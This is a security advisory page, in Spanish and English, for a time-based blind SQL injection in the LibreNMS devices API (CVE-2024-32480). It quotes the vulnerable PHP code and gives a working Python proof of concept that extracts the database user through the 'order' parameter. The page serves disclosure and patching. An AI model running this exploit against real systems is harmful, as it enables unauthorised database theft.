Alta

LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction

  • Publicada: 22.04.2024
  • Actualizado: 11.10.2026 10:22

Summary

Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details

in file api_functions.php, line 307 for function list_devices

php
$order = $request->get('order');
    $type = $request->get('type');
    $query = $request->get('query');
    $param = [];

    if (empty($order)) {
        $order = 'hostname';
    }

    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
        $order = 'd.`' . $order . '` ASC';
    }
    /* ... */
    $devices = [];
    $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
    foreach (dbFetchRows($dev_query, $param) as $device) {

The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC

For example. this PoC is get current db user

python
import string
import requests

headers = {
	'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
	for payload in payloads:
		try:
			req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
		except requests.exceptions.ReadTimeout as ex:
			result += payload
			print(result),
		except Exception as e:
			pass

QQ截图20240306181404

Impact

Attacker can extract whole database

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer librenms/librenms < 24.4.0 24.4.0

Referencias

Puntuación CVSS 7.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-89
Plataforma
Composer
Paquete
librenms/librenms
Publicada
22.04.2024
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-jh57-j3vq-h438 - CC BY 4.0

Historial de vulnerabilidades: librenms/librenms

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (106) en el archivo
Entradas en total
106
Primera → última
10.2019 08.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 39
  • Media 56
  • Baja 6

Divulgaciones por año

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Gravedad:
  1. Alta · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. Alta · 7.1 CVE-2020-36947 <= 1.46 sin corrección
  3. Crítica · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  4. LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction esta entrada
    Alta · 7.2 CVE-2024-32480 < 24.4.0 24.4.0
  5. Alta · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  6. Alta · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  7. Alta · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  8. Alta · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  9. Alta · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  10. Crítica · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  11. Alta CVE-2022-29712 < 22.4.0 22.4.0
  12. Crítica · 9.8 CVE-2019-10665 <= 1.47 sin corrección
  13. Crítica · 9.8 CVE-2018-20434 = 1.46 sin corrección
  14. Alta · 8.8 CVE-2018-20678 < 1.65 1.65
  15. Alta · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  16. Alta · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  17. Crítica · 9.8 CVE-2021-44278 <= 21.11.0 sin corrección
  18. Alta · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  19. Alta · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
Mostrar más (4) Mostrando 40 de 44

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.